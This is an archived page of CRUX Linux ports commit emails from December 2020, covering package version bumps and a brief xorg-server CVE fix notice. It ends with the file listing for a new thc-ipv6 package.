December 2020 - crux-commits

ports/contrib (3.5): p5-class-singleton: 1.5 -> 1.6
by crux＠crux.nu 02 Dec '20

02 Dec '20

commit c19f49c1516b1b764fd84c808393896f13b49ee9 Author: Tim Biermann <tbier(a)posteo.de> Date: Wed Dec 2 12:26:41 2020 +0000 p5-class-singleton: 1.5 -> 1.6 diff --git a/p5-class-singleton/.signature b/p5-class-singleton/.signature index 1920952ff..4c73344c1 100644 --- a/p5-class-singleton/.signature +++ b/p5-class-singleton/.signature @@ -1,5 +1,5 @@ untrusted comment: verify with /etc/ports/contrib.pub -RWSagIOpLGJF37OBKFs4cx9+hmno45VhnqCPD3VlETAAG5eHIE1cwO3llRcwoaIOYZiWSapXlWWmCDlgLwaql2vikp+6K6bTiwM= -SHA256 (Pkgfile) = ee8da75eb19c2d1de6bfc71f789269b67069bda5414ff8f9dcf1b8880142cdd4 +RWSagIOpLGJF38qCQ7jZLjndifCK6b39LIOqRijP4H1mkqRML1Qbi6hf97BXbMSLjXLeO161CugK+lPX6chW1D0fGD1qK/MCugo= +SHA256 (Pkgfile) = 12199ab0a2a353539c01e98dde12fdcd798d17a48259e8aa39e60d103de76714 SHA256 (.footprint) = 3735e8fa25410ceee4e86911ee9c9681cf2239e0343ed484b8359612ada289cf -SHA256 (Class-Singleton-1.5.tar.gz) = 38220d04f02e3a803193c2575a1644cce0b95ad4b95c19eb932b94e2647ef678 +SHA256 (Class-Singleton-1.6.tar.gz) = 27ba13f0d9512929166bbd8c9ef95d90d630fc80f0c9a1b7458891055e9282a4 diff --git a/p5-class-singleton/Pkgfile b/p5-class-singleton/Pkgfile index 46bd48cde..8acab0957 100644 --- a/p5-class-singleton/Pkgfile +++ b/p5-class-singleton/Pkgfile @@ -4,7 +4,7 @@ # Depends on: name=p5-class-singleton -version=1.5 +version=1.6 release=1 source=(https://cpan.metacpan.org/authors/id/S/SH/SHAY/Class-Singleton-$ver…

1 0

ports/contrib (3.5): hwloc: 2.3.0 -> 2.4.0
by crux＠crux.nu 02 Dec '20

02 Dec '20

commit 1ce9aa485e1fd65b34ecc6c31f5f54eafe54fdc8 Author: Alexandr Savca <alexandr.savca89(a)gmail.com> Date: Wed Dec 2 10:04:52 2020 +0200 hwloc: 2.3.0 -> 2.4.0 diff --git a/hwloc/.footprint b/hwloc/.footprint index 09d367ec5..b568e3f9d 100644 --- a/hwloc/.footprint +++ b/hwloc/.footprint @@ -23,6 +23,7 @@ drwxr-xr-x root/root usr/include/hwloc/ drwxr-xr-x root/root usr/include/hwloc/autogen/ -rw-r--r-- root/root usr/include/hwloc/autogen/config.h -rw-r--r-- root/root usr/include/hwloc/bitmap.h +-rw-r--r-- root/root usr/include/hwloc/cpukinds.h -rw-r--r-- root/root usr/include/hwloc/cuda.h -rw-r--r-- root/root usr/include/hwloc/cudart.h -rw-r--r-- root/root usr/include/hwloc/deprecated.h @@ -45,9 +46,9 @@ drwxr-xr-x root/root usr/include/hwloc/autogen/ -rw-r--r-- root/root usr/include/hwloc/shmem.h drwxr-xr-x root/root usr/lib/ -rwxr-xr-x root/root usr/lib/libhwloc.la -lrwxrwxrwx root/root usr/lib/libhwloc.so -> libhwloc.so.15.3.0 -lrwxrwxrwx root/root usr/lib/libhwloc.so.15 -> libhwloc.so.15.3.0 --rwxr-xr-x root/root usr/lib/libhwloc.so.15.3.0 +lrwxrwxrwx root/root usr/lib/libhwloc.so -> libhwloc.so.15.4.0 +lrwxrwxrwx root/root usr/lib/libhwloc.so.15 -> libhwloc.so.15.4.0 +-rwxr-xr-x root/root usr/lib/libhwloc.so.15.4.0 -rwxr-xr-x root/root usr/lib/libnetloc.la lrwxrwxrwx root/root usr/lib/libnetloc.so -> libnetloc.so.0.0.0 lrwxrwxrwx root/root usr/lib/libnetloc.so.0 -> libnetloc.so.0.0.0 @@ -245,6 +246,10 @@ drwxr-xr-x root/root usr/share/man/man3/ -rw-r--r-- root/root usr/share/man/man3/hwloc_const_cpuset_t.3.gz -rw-r--r-- root/root usr/share/man/man3/hwloc_const_nodeset_t.3.gz -rw-r--r-- root/root usr/share/man/man3/hwloc_cpubind_flags_t.3.gz +-rw-r--r-- root/root usr/share/man/man3/hwloc_cpukinds_get_by_cpuset.3.gz +-rw-r--r-- root/root usr/share/man/man3/hwloc_cpukinds_get_info.3.gz +-rw-r--r-- root/root usr/share/man/man3/hwloc_cpukinds_get_nr.3.gz +-rw-r--r-- root/root usr/share/man/man3/hwloc_cpukinds_register.3.gz -rw-r--r-- root/root usr/share/man/man3/hwloc_cpuset_from_glibc_sched_affinity.3.gz -rw-r--r-- root/root usr/share/man/man3/hwloc_cpuset_from_linux_libnuma_bitmask.3.gz -rw-r--r-- root/root usr/share/man/man3/hwloc_cpuset_from_linux_libnuma_ulongs.3.gz @@ -491,6 +496,7 @@ drwxr-xr-x root/root usr/share/man/man3/ -rw-r--r-- root/root usr/share/man/man3/hwlocality_bitmap.3.gz -rw-r--r-- root/root usr/share/man/man3/hwlocality_configuration.3.gz -rw-r--r-- root/root usr/share/man/man3/hwlocality_cpubinding.3.gz +-rw-r--r-- root/root usr/share/man/man3/hwlocality_cpukinds.3.gz -rw-r--r-- root/root usr/share/man/man3/hwlocality_creation.3.gz -rw-r--r-- root/root usr/share/man/man3/hwlocality_cuda.3.gz -rw-r--r-- root/root usr/share/man/man3/hwlocality_cudart.3.gz diff --git a/hwloc/.signature b/hwloc/.signature index 36bbdbb9d..36b82f73b 100644 --- a/hwloc/.signature +++ b/hwloc/.signature @@ -1,5 +1,5 @@ untrusted comment: verify with /etc/ports/contrib.pub -RWSagIOpLGJF3xsvNV42VEEtAmMdZbjdC+TAHZoHSxSe3HexmfsOSrLkwe4NYnfs5G+Klsyg1nIjRC3GOlNDkFSnwi6IR8mgMQY= -SHA256 (Pkgfile) = 991cf0331ab27cb0bfaf3f68679a122e237caf8b6fcd718c0b5da0cfc1252b73 -SHA256 (.footprint) = 95d339d627135ace3d68c2389ce4b4a83cf0856ac1ef787f485af04be2387202 -SHA256 (hwloc-2.3.0.tar.gz) = 155480620c98b43ddf9ca66a6c318b363ca24acb5ff0683af9d25d9324f59836 +RWSagIOpLGJF3914a/3EKgQP3QBt8W9sxCj3q3pbcLsrkhhXCn3zKKD8FuEXmJW3wZP/fF7DgxHxVPpL7cW4A0Ws8uYdSqtqig0= +SHA256 (Pkgfile) = b3ecfa5a12ed3013754e05ef37be1d034cc2031d1ea477034ef42956552b62b4 +SHA256 (.footprint) = f48972695f272264d412452d3c1fba5e5093803e24c53b81c9ac9e06adbefb38 +SHA256 (hwloc-2.4.0.tar.gz) = 30404065dc1d6872b0181269d0bb2424fbbc6e3b0a80491aa373109554006544 diff --git a/hwloc/Pkgfile b/hwloc/Pkgfile index 816332eb0..696ece6b3 100644 --- a/hwloc/Pkgfile +++ b/hwloc/Pkgfile @@ -4,7 +4,7 @@ # Depends on: cairo libxml2 xorg-libpciaccess xorg-libsm name=hwloc -version=2.3.0 +version=2.4.0 release=1 source=(https://download.open-mpi.org/release/$name/v${version%.*}/$name-$v…

1 0

ports/contrib (3.5): p5-types-serialiser: 1.0 -> 1.01
by crux＠crux.nu 02 Dec '20

02 Dec '20

commit ab36083fd9a2b522cc8d39a68e26442e4ae29c92 Author: Tim Biermann <tbier(a)posteo.de> Date: Tue Dec 1 23:27:56 2020 +0000 p5-types-serialiser: 1.0 -> 1.01 diff --git a/p5-types-serialiser/.signature b/p5-types-serialiser/.signature index 55066699f..5de771522 100644 --- a/p5-types-serialiser/.signature +++ b/p5-types-serialiser/.signature @@ -1,5 +1,5 @@ untrusted comment: verify with /etc/ports/contrib.pub -RWSagIOpLGJF3+0Vqb7L71rz8g8mluMKYqkMVuvFmaB0DIf82OM10jH+viuYcaPJLw3QYxougyQK5N+OxYWgGm9TRmg0Eg9KcgM= -SHA256 (Pkgfile) = 40e149cec8f27f5c513ee637b9efe71414a48ede61fe9d24aea86e9e9c4f2088 +RWSagIOpLGJF39RBsi5uNqaIOm7uj2h37SPV4tckRbRVNa77ztT8hbSfVn2Akf3MBp3YVlO4qJaWHp32r6eAgaf4UqEYfkO41Q8= +SHA256 (Pkgfile) = 11ec0f596bef8597316086492011a083d2d85605b2e230d9b8468d950de5f01a SHA256 (.footprint) = 001e4ee0c88f4b77dda5fdce9f16ac5015fa7eb5e3091ba1267fa9d2bc9e6e46 -SHA256 (Types-Serialiser-1.0.tar.gz) = 7ad3347849d8a3da6470135018d6af5fd8e58b4057cd568c3813695f2a04730d +SHA256 (Types-Serialiser-1.01.tar.gz) = f8c7173b0914d0e3d957282077b366f0c8c70256715eaef3298ff32b92388a80 diff --git a/p5-types-serialiser/Pkgfile b/p5-types-serialiser/Pkgfile index 685157c02..2de6571bb 100644 --- a/p5-types-serialiser/Pkgfile +++ b/p5-types-serialiser/Pkgfile @@ -4,7 +4,7 @@ # Depends on: p5-common-sense name=p5-types-serialiser -version=1.0 +version=1.01 release=1 source=(https://cpan.metacpan.org/authors/id/M/ML/MLEHMANN/Types-Serialiser…

1 0

ports/contrib (3.5): p5-file-listing: 6.11 -> 6.14
by crux＠crux.nu 02 Dec '20

02 Dec '20

commit 0a53114a93d773e804f4c95cbb1add91e74b827a Author: Tim Biermann <tbier(a)posteo.de> Date: Tue Dec 1 23:27:09 2020 +0000 p5-file-listing: 6.11 -> 6.14 diff --git a/p5-file-listing/.signature b/p5-file-listing/.signature index a4bcbea59..01eea007d 100644 --- a/p5-file-listing/.signature +++ b/p5-file-listing/.signature @@ -1,5 +1,5 @@ untrusted comment: verify with /etc/ports/contrib.pub -RWSagIOpLGJF37QPkkRmZjOr522hRnyuDEa3R3duYpe9NA7KIQZ8h6skTrtB0kDyctvjNvCl8dgDQX+KNCggdMFy6M983AOkJgE= -SHA256 (Pkgfile) = bfdcc10dd71bcef47af0c1054351170a4e2d1446c1cc0d96e46e683f5654e091 +RWSagIOpLGJF3+pFKc3pNMHbKnQmrHgSC7nciMRTGABsBoJHvug1WuTrhiLhvwb/sH5O3W1NBGLgrScxF0oQuCKGN6Qzzh4COg4= +SHA256 (Pkgfile) = b62c97e4596946f59c0dc6fa0947626c10b277f7071ac793cebc3b168686a81b SHA256 (.footprint) = bf92b409a9c979cf534a48d6f64d22db2ccc7731af0ea8c93f95d78a5d27f13b -SHA256 (File-Listing-6.11.tar.gz) = c24c14ece10b949e1cb52d64bc28b42cbaebf87e00293a3f7500950d6be0bf6e +SHA256 (File-Listing-6.14.tar.gz) = 15b3a4871e23164a36f226381b74d450af41f12cc94985f592a669fcac7b48ff diff --git a/p5-file-listing/Pkgfile b/p5-file-listing/Pkgfile index 90fa21394..6d67f81a0 100644 --- a/p5-file-listing/Pkgfile +++ b/p5-file-listing/Pkgfile @@ -4,7 +4,7 @@ # Depends on: p5-http-date name=p5-file-listing -version=6.11 +version=6.14 release=1 source=(https://cpan.metacpan.org/authors/id/P/PL/PLICEASE/File-Listing-$ve…

1 0

ports/contrib (3.5): libreoffice: 7.0.3.1 -> 7.0.4.1
by crux＠crux.nu 02 Dec '20

02 Dec '20

commit 53e21676fcaf3b657b8f3152a8b688c4cf5c0b39 Author: Tim Biermann <tbier(a)posteo.de> Date: Tue Dec 1 23:22:00 2020 +0000 libreoffice: 7.0.3.1 -> 7.0.4.1 diff --git a/libreoffice/.signature b/libreoffice/.signature index 877534b9e..ded6a4a11 100644 --- a/libreoffice/.signature +++ b/libreoffice/.signature @@ -1,13 +1,12 @@ untrusted comment: verify with /etc/ports/contrib.pub -RWSagIOpLGJF30MsgukDQVdLzDd6lIT+RkpPrHgvQjuf/3fF61a/sZnoLcNbPXjB2SLyqoTNwKCfPpiM1N4Fv18dq+iyb2NYlgA= -SHA256 (Pkgfile) = dc2f569c8a4539622cf7a8ed90bffd631e241c44751f65431697d4d87b1d2a9a +RWSagIOpLGJF3wysDk17HvmLYlz2ase3EjimjPoudY+ZPRnqLYFtXlYaiJ2ssNYM7F9quOEC5Pk2MRF4lTMDr7UEw2WL3/3L/AQ= +SHA256 (Pkgfile) = 8f58b6be7db5c0d50a06f68dc9cc2d3be892e2f543a996a9aaf7db63352521db SHA256 (.footprint) = 413126b9fb6905484606a1cb4c613cc9cec56387f3cb203a04463404caafdba0 -SHA256 (libreoffice-7.0.3.1.tar.xz) = 6566bce180c6b9561554de334b02344340a59f3bc0663d2c3c72addec444292d -SHA256 (libreoffice-dictionaries-7.0.3.1.tar.xz) = 959001bc692a67fd65296a0f33179a33414c0754182908396756849da1fee034 +SHA256 (libreoffice-7.0.4.1.tar.xz) = 8f568ea2ee297b6fbd5d93ac433f4715c50856347529e595f144ccd9c0c7d230 +SHA256 (libreoffice-dictionaries-7.0.4.1.tar.xz) = 620ca8dad1c101ba35ba5a6fd8473cd8cb4001a19a443f7d022a3626f5c03d32 SHA256 (185d60944ea767075d27247c3162b3bc-unowinreg.dll) = eafde646a7dbe46d20c291685b0beac2382174d78d66ee990e229a1bf6e6cec6 SHA256 (0168229624cfac409e766913506961a8-ucpp-1.3.2.tar.gz) = 983941d31ee8d366085cadf28db75eb1f5cb03ba1e5853b98f12f7f51c63b776 SHA256 (dtoa-20180411.tgz) = 0082d0684f7db6f62361b76c4b7faba19e0c7ce5cb8e36c4b65fea8281e711b4 SHA256 (skia-m85-e684c6daef6bfb774a325a069eda1f76ca6ac26c.tar.xz) = 3294877fa2b61b220d98a0f7bfc11325429b13edd2cf455444c703ee3a14d760 -SHA256 (pdfium-4137.tar.bz2) = 9a2f9bddca935a263f06c81003483473a525ccd0f4e517bc75fceb914d4c54b6 +SHA256 (pdfium-4306.tar.bz2) = eca406d47ac7e2a84dcc86f93c08f96e591d409589e881477fa75e488e4851d8 SHA256 (makefile.in.patch) = 88856d163b66cecf7a5cb4dc6d46a95ec07b21569b26e90cf8d5e82ce684b332 -SHA256 (libreoffice-6.4.7.2-icu-68-1.patch) = 89d278a4fd5aea2873378e4da751abf543345aadf94c681e681269dd53b74010 diff --git a/libreoffice/Pkgfile b/libreoffice/Pkgfile index e83a5bb9b..0440ace9b 100644 --- a/libreoffice/Pkgfile +++ b/libreoffice/Pkgfile @@ -5,18 +5,16 @@ # Optional: cups kio qt5 valgrind vlc name=libreoffice -version=7.0.3.1 +version=7.0.4.1 release=1 -pdfiumversion=4137 +pdfiumversion=4306 source=(https://downloadarchive.documentfoundation.org/libreoffice/old/$ver… https://downloadarchive.documentfoundation.org/libreoffice/old/$version/src… https://dev-www.libreoffice.org/extern/185d60944ea767075d27247c3162b3bc-uno… https://dev-www.libreoffice.org/src/0168229624cfac409e766913506961a8-ucpp-1… https://dev-www.libreoffice.org/src/dtoa-20180411.tgz https://dev-www.libreoffice.org/src/skia-m85-e684c6daef6bfb774a325a069eda1f… - https://dev-www.libreoffice.org/src/pdfium-$pdfiumversion.tar.bz2 makefile.in.patch - # https://gitweb.gentoo.org/repo/gentoo.git/tree/app-office/libreoffice/files - libreoffice-6.4.7.2-icu-68-1.patch) + https://dev-www.libreoffice.org/src/pdfium-$pdfiumversion.tar.bz2 makefile.in.patch) unpack_source() { for file in ${source[@]}; do @@ -48,8 +46,6 @@ build() { cd $name-$version patch -Np1 -i $SRC/makefile.in.patch - [ $(pkginfo -i | awk '/^icu / {split($2,a,"."); print a[1]}') -ge 68 ] && \ - patch -Np1 -i $SRC/libreoffice-6.4.7.2-icu-68-1.patch find -L . \ \( -perm 777 -o -perm 775 -o -perm 750 -o -perm 711 -o -perm 555 \ diff --git a/libreoffice/libreoffice-6.4.7.2-icu-68-1.patch b/libreoffice/libreoffice-6.4.7.2-icu-68-1.patch deleted file mode 100644 index fe20e3435..000000000 --- a/libreoffice/libreoffice-6.4.7.2-icu-68-1.patch +++ /dev/null @@ -1,46 +0,0 @@ -From 0b14b9ec55fb2a8dd0ec24e1c03702bc4bbf1878 Mon Sep 17 00:00:00 2001 -From: Rene Engelhard <rene(a)debian.org> -Date: Sun, 1 Nov 2020 18:30:49 +0100 -Subject: fix build with ICU 68 - -use standard true. - -/home/rene/LibreOffice/git/master/i18npool/source/calendar/calendar_gregorian.cxx: In member function 'virtual void i18npool::Calendar_gregorian::setLocalDateTime(double)': -/home/rene/LibreOffice/git/master/i18npool/source/calendar/calendar_gregorian.cxx:363:40: error: 'TRUE' was not declared in this scope - 363 | body->getTimeZone().getOffset( fR, TRUE, nZoneOffset, nDSTOffset, status ); - | ^~~~ - -/usr/include/unicode/umachine.h says: - -@deprecated ICU 68 Use standard "true" instead. - -Change-Id: I45d2b0afa6a9043767af5c2cf41ba24377f2cdc4 -Reviewed-on: https://gerrit.libreoffice.org/c/core/+/105057 -Tested-by: Jenkins -Reviewed-by: Eike Rathke <erack(a)redhat.com> ---- - i18npool/source/calendar/calendar_gregorian.cxx | 9 ++++++++- - 1 file changed, 8 insertions(+), 1 deletion(-) - -diff --git a/i18npool/source/calendar/calendar_gregorian.cxx b/i18npool/source/calendar/calendar_gregorian.cxx -index b7ae49fbd96e..59ee46fa0e0f 100644 ---- a/i18npool/source/calendar/calendar_gregorian.cxx -+++ b/i18npool/source/calendar/calendar_gregorian.cxx -@@ -347,7 +347,14 @@ Calendar_gregorian::setLocalDateTime( double fTimeInDays ) - "Calendar_gregorian::setLocalDateTime: " << std::fixed << fM << " rounded to " << fR); - int32_t nZoneOffset, nDSTOffset; - UErrorCode status = U_ZERO_ERROR; -- body->getTimeZone().getOffset( fR, TRUE, nZoneOffset, nDSTOffset, status ); -+ body->getTimeZone().getOffset( fR, -+#if U_ICU_VERSION_MAJOR_NUM >= 68 -+ true, -+#else -+ TRUE, -+#endif -+ nZoneOffset, nDSTOffset, status ); -+ - if ( !U_SUCCESS(status) ) throw ERROR; - status = U_ZERO_ERROR; - body->setTime( fR - (nZoneOffset + nDSTOffset), status ); --- -cgit v1.2.1

1 0

ports/xorg (3.6): Merge branch '3.5' into 3.6
by crux＠crux.nu 01 Dec '20

01 Dec '20

commit 3e45a126b1e1e6d154f177e8374d03808315bd6f Merge: 58358c30 d139c538 Author: Fredrik Rinnestam <fredrik(a)crux.nu> Date: Tue Dec 1 19:03:11 2020 +0100 Merge branch '3.5' into 3.6

1 0

ports/xorg (3.6): [notify] xorg-server: 1.20.10. Fixes for CVE-2020-14360, CVE-2020-25712
by crux＠crux.nu 01 Dec '20

01 Dec '20

commit d139c538191733ae53cbd8d28ce3275f95aabcdc Author: Fredrik Rinnestam <fredrik(a)crux.nu> Date: Tue Dec 1 19:02:53 2020 +0100 [notify] xorg-server: 1.20.10. Fixes for CVE-2020-14360, CVE-2020-25712 Multiple input validation failures in X server XKB extension ============================================================ These issues can lead to privileges elevations for authorized clients on systems where the X server is running privileged. * CVE-2020-14360 / ZDI CAN 11572 XkbSetMap Out-Of-Bounds Access Insufficient checks on the lengths of the XkbSetMap request can lead to out of bounds memory accesses in the X server. * CVE-2020-25712 / ZDI-CAN-11839 XkbSetDeviceInfo Heap-based Buffer Overflow Insufficient checks on input of the XkbSetDeviceInfo request can lead to a buffer overflow on the head in the X server. diff --git a/xorg-server/.signature b/xorg-server/.signature index b16c38d7..7e6329ea 100644 --- a/xorg-server/.signature +++ b/xorg-server/.signature @@ -1,5 +1,5 @@ untrusted comment: verify with /etc/ports/xorg.pub -RWTSGWF5Q7TndLiXG/Mse5mSkOO2Qzva0uXLVaAem+/I1MX/GcGGnjNs2okLKyzG3wB5Yffqou//IE6o6W/IQ9jld2nVIqqATQQ= -SHA256 (Pkgfile) = 5e27a4794eae50de0b5ed40522481ba0889d31016808f081cc50b16aee5a0b83 +RWTSGWF5Q7TndGMXoWb+WtrcCadowj6ixbUkX1TOFZ+ysPp8DAjN6UvkF+9DZlb3fulCIF8Oe3YAI+gG02W3ayt3glv/hreengk= +SHA256 (Pkgfile) = ed42a86d4d3166f51df11f3e82373fd8e52a10056620a818986e19a45d870083 SHA256 (.footprint) = d159a275a4868001332954580ab4f70976c97a80334b157023935b36722e50cd -SHA256 (xorg-server-1.20.9.tar.bz2) = e219f2e0dfe455467939149d7cd2ee53b79b512cc1d2094ae4f5c9ed9ccd3571 +SHA256 (xorg-server-1.20.10.tar.bz2) = 977420c082450dc808de301ef56af4856d653eea71519a973c3490a780cb7c99 diff --git a/xorg-server/Pkgfile b/xorg-server/Pkgfile index 66cf40f5..abb39b04 100644 --- a/xorg-server/Pkgfile +++ b/xorg-server/Pkgfile @@ -4,7 +4,7 @@ # Depends on: libepoxy xorg-bdftopcf xorg-font-util xorg-libdmx xorg-libxaw xorg-libxcomposite xorg-libxcursor xorg-libxfont2 xorg-libxft xorg-libxinerama xorg-libxkbfile xorg-libxres xorg-libxtst xorg-libxxf86dga xorg-mkfontscale xorg-xcb-util-keysyms name=xorg-server -version=1.20.9 +version=1.20.10 release=1 source=(https://www.x.org/releases/individual/xserver/$name-$version.tar.bz…

1 0

ports/xorg (3.5): [notify] xorg-server: 1.20.10. Fixes for CVE-2020-14360, CVE-2020-25712
by crux＠crux.nu 01 Dec '20

01 Dec '20

commit d139c538191733ae53cbd8d28ce3275f95aabcdc Author: Fredrik Rinnestam <fredrik(a)crux.nu> Date: Tue Dec 1 19:02:53 2020 +0100 [notify] xorg-server: 1.20.10. Fixes for CVE-2020-14360, CVE-2020-25712 Multiple input validation failures in X server XKB extension ============================================================ These issues can lead to privileges elevations for authorized clients on systems where the X server is running privileged. * CVE-2020-14360 / ZDI CAN 11572 XkbSetMap Out-Of-Bounds Access Insufficient checks on the lengths of the XkbSetMap request can lead to out of bounds memory accesses in the X server. * CVE-2020-25712 / ZDI-CAN-11839 XkbSetDeviceInfo Heap-based Buffer Overflow Insufficient checks on input of the XkbSetDeviceInfo request can lead to a buffer overflow on the head in the X server. diff --git a/xorg-server/.signature b/xorg-server/.signature index b16c38d7..7e6329ea 100644 --- a/xorg-server/.signature +++ b/xorg-server/.signature @@ -1,5 +1,5 @@ untrusted comment: verify with /etc/ports/xorg.pub -RWTSGWF5Q7TndLiXG/Mse5mSkOO2Qzva0uXLVaAem+/I1MX/GcGGnjNs2okLKyzG3wB5Yffqou//IE6o6W/IQ9jld2nVIqqATQQ= -SHA256 (Pkgfile) = 5e27a4794eae50de0b5ed40522481ba0889d31016808f081cc50b16aee5a0b83 +RWTSGWF5Q7TndGMXoWb+WtrcCadowj6ixbUkX1TOFZ+ysPp8DAjN6UvkF+9DZlb3fulCIF8Oe3YAI+gG02W3ayt3glv/hreengk= +SHA256 (Pkgfile) = ed42a86d4d3166f51df11f3e82373fd8e52a10056620a818986e19a45d870083 SHA256 (.footprint) = d159a275a4868001332954580ab4f70976c97a80334b157023935b36722e50cd -SHA256 (xorg-server-1.20.9.tar.bz2) = e219f2e0dfe455467939149d7cd2ee53b79b512cc1d2094ae4f5c9ed9ccd3571 +SHA256 (xorg-server-1.20.10.tar.bz2) = 977420c082450dc808de301ef56af4856d653eea71519a973c3490a780cb7c99 diff --git a/xorg-server/Pkgfile b/xorg-server/Pkgfile index 66cf40f5..abb39b04 100644 --- a/xorg-server/Pkgfile +++ b/xorg-server/Pkgfile @@ -4,7 +4,7 @@ # Depends on: libepoxy xorg-bdftopcf xorg-font-util xorg-libdmx xorg-libxaw xorg-libxcomposite xorg-libxcursor xorg-libxfont2 xorg-libxft xorg-libxinerama xorg-libxkbfile xorg-libxres xorg-libxtst xorg-libxxf86dga xorg-mkfontscale xorg-xcb-util-keysyms name=xorg-server -version=1.20.9 +version=1.20.10 release=1 source=(https://www.x.org/releases/individual/xserver/$name-$version.tar.bz…

1 0

ports/contrib (3.5): thc-ipv6: initial commit, v3.8
by crux＠crux.nu 01 Dec '20

01 Dec '20

commit 2d8589cf1592263f975d8a2cbe21c4a34ed8fccc Author: Alexandr Savca <alexandr.savca89(a)gmail.com> Date: Tue Dec 1 15:38:12 2020 +0200 thc-ipv6: initial commit, v3.8 diff --git a/thc-ipv6/.footprint b/thc-ipv6/.footprint new file mode 100644 index 000000000..6b6c17592 --- /dev/null +++ b/thc-ipv6/.footprint @@ -0,0 +1,163 @@ +drwxr-xr-x root/root usr/ +drwxr-xr-x root/root usr/bin/ +-rwxr-xr-x root/root usr/bin/6to4test.sh +-rwxr-xr-x root/root usr/bin/address6 +-rwxr-xr-x root/root usr/bin/alive2map.sh +-rwxr-xr-x root/root usr/bin/alive6 +-rwxr-xr-x root/root usr/bin/axfr-reverse.sh +-rwxr-xr-x root/root usr/bin/axfr.sh +-rwxr-xr-x root/root usr/bin/connect6 +-rwxr-xr-x root/root usr/bin/connsplit6 +-rwxr-xr-x root/root usr/bin/connsplit6.sh +-rwxr-xr-x root/root usr/bin/covert_send6 +-rwxr-xr-x root/root usr/bin/covert_send6d +-rwxr-xr-x root/root usr/bin/create_network_map.sh +-rwxr-xr-x root/root usr/bin/denial6 +-rwxr-xr-x root/root usr/bin/detect-new-ip6 +-rwxr-xr-x root/root usr/bin/detect_sniffer6 +-rwxr-xr-x root/root usr/bin/dnsdict6 +-rwxr-xr-x root/root usr/bin/dnsrevenum6 +-rwxr-xr-x root/root usr/bin/dnsrevenum6.sh +-rwxr-xr-x root/root usr/bin/dnssecwalk +-rwxr-xr-x root/root usr/bin/dnssecwalk.sh +-rwxr-xr-x root/root usr/bin/dos-new-ip6 +-rwxr-xr-x root/root usr/bin/dos_mld6.sh +-rwxr-xr-x root/root usr/bin/dump_dhcp6 +-rwxr-xr-x root/root usr/bin/dump_router6 +-rwxr-xr-x root/root usr/bin/exploit6 +-rwxr-xr-x root/root usr/bin/extract_hosts6.sh +-rwxr-xr-x root/root usr/bin/extract_networks6.sh +-rwxr-xr-x root/root usr/bin/fake_advertise6 +-rwxr-xr-x root/root usr/bin/fake_dhcps6 +-rwxr-xr-x root/root usr/bin/fake_dhcps6v2 +-rwxr-xr-x root/root usr/bin/fake_dns6d +-rwxr-xr-x root/root usr/bin/fake_dnsupdate6 +-rwxr-xr-x root/root usr/bin/fake_mipv6 +-rwxr-xr-x root/root usr/bin/fake_mld26 +-rwxr-xr-x root/root usr/bin/fake_mld6 +-rwxr-xr-x root/root usr/bin/fake_mldrouter6 +-rwxr-xr-x root/root usr/bin/fake_pim6 +-rwxr-xr-x root/root usr/bin/fake_router26 +-rwxr-xr-x root/root usr/bin/fake_router6 +-rwxr-xr-x root/root usr/bin/fake_solicitate6 +-rwxr-xr-x root/root usr/bin/firewall6 +-rwxr-xr-x root/root usr/bin/flood_advertise6 +-rwxr-xr-x root/root usr/bin/flood_dhcpc6 +-rwxr-xr-x root/root usr/bin/flood_mld26 +-rwxr-xr-x root/root usr/bin/flood_mld6 +-rwxr-xr-x root/root usr/bin/flood_mldrouter6 +-rwxr-xr-x root/root usr/bin/flood_redir6 +-rwxr-xr-x root/root usr/bin/flood_router26 +-rwxr-xr-x root/root usr/bin/flood_router6 +-rwxr-xr-x root/root usr/bin/flood_rs6 +-rwxr-xr-x root/root usr/bin/flood_solicitate6 +-rwxr-xr-x root/root usr/bin/flood_unreach6 +-rwxr-xr-x root/root usr/bin/four2six +-rwxr-xr-x root/root usr/bin/fragmentation6 +-rwxr-xr-x root/root usr/bin/fragrouter6 +-rwxr-xr-x root/root usr/bin/fragrouter6.sh +-rwxr-xr-x root/root usr/bin/fuzz_dhcpc6 +-rwxr-xr-x root/root usr/bin/fuzz_dhcps6 +-rwxr-xr-x root/root usr/bin/fuzz_ip6 +-rwxr-xr-x root/root usr/bin/grep6.pl +-rwxr-xr-x root/root usr/bin/host_scan +-rwxr-xr-x root/root usr/bin/implementation6 +-rwxr-xr-x root/root usr/bin/implementation6d +-rwxr-xr-x root/root usr/bin/inject_alive6 +-rwxr-xr-x root/root usr/bin/inverse_lookup6 +-rwxr-xr-x root/root usr/bin/kill_router6 +-rwxr-xr-x root/root usr/bin/local_discovery6.sh +-rwxr-xr-x root/root usr/bin/ndpexhaust26 +-rwxr-xr-x root/root usr/bin/ndpexhaust6 +-rwxr-xr-x root/root usr/bin/node_query6 +-rwxr-xr-x root/root usr/bin/parasite6 +-rwxr-xr-x root/root usr/bin/passive_discovery6 +-rwxr-xr-x root/root usr/bin/randicmp6 +-rwxr-xr-x root/root usr/bin/redir6 +-rwxr-xr-x root/root usr/bin/redirsniff6 +-rwxr-xr-x root/root usr/bin/rsmurf6 +-rwxr-xr-x root/root usr/bin/sendpees6 +-rwxr-xr-x root/root usr/bin/sendpeesmp6 +-rwxr-xr-x root/root usr/bin/six2four.sh +-rwxr-xr-x root/root usr/bin/smurf6 +-rwxr-xr-x root/root usr/bin/spoofer +-rwxr-xr-x root/root usr/bin/thc-ipv6-setup.sh +-rwxr-xr-x root/root usr/bin/thcping6 +-rwxr-xr-x root/root usr/bin/thcsyn6 +-rwxr-xr-x root/root usr/bin/toobig6 +-rwxr-xr-x root/root usr/bin/toobigsniff6 +-rwxr-xr-x root/root usr/bin/trace6 +-rwxr-xr-x root/root usr/bin/trace62list.sh +drwxr-xr-x root/root usr/share/ +drwxr-xr-x root/root usr/share/man/ +drwxr-xr-x root/root usr/share/man/man8/ +-rw-r--r-- root/root usr/share/man/man8/address6.8.gz +-rw-r--r-- root/root usr/share/man/man8/alive6.8.gz +-rw-r--r-- root/root usr/share/man/man8/connect6.8.gz +-rw-r--r-- root/root usr/share/man/man8/connsplit6.8.gz +-rw-r--r-- root/root usr/share/man/man8/covert_send6.8.gz +-rw-r--r-- root/root usr/share/man/man8/covert_send6d.8.gz +-rw-r--r-- root/root usr/share/man/man8/denial6.8.gz +-rw-r--r-- root/root usr/share/man/man8/detect-new-ip6.8.gz +-rw-r--r-- root/root usr/share/man/man8/detect_sniffer6.8.gz +-rw-r--r-- root/root usr/share/man/man8/dnsdict6.8.gz +-rw-r--r-- root/root usr/share/man/man8/dnsrevenum6.8.gz +-rw-r--r-- root/root usr/share/man/man8/dnssecwalk.8.gz +-rw-r--r-- root/root 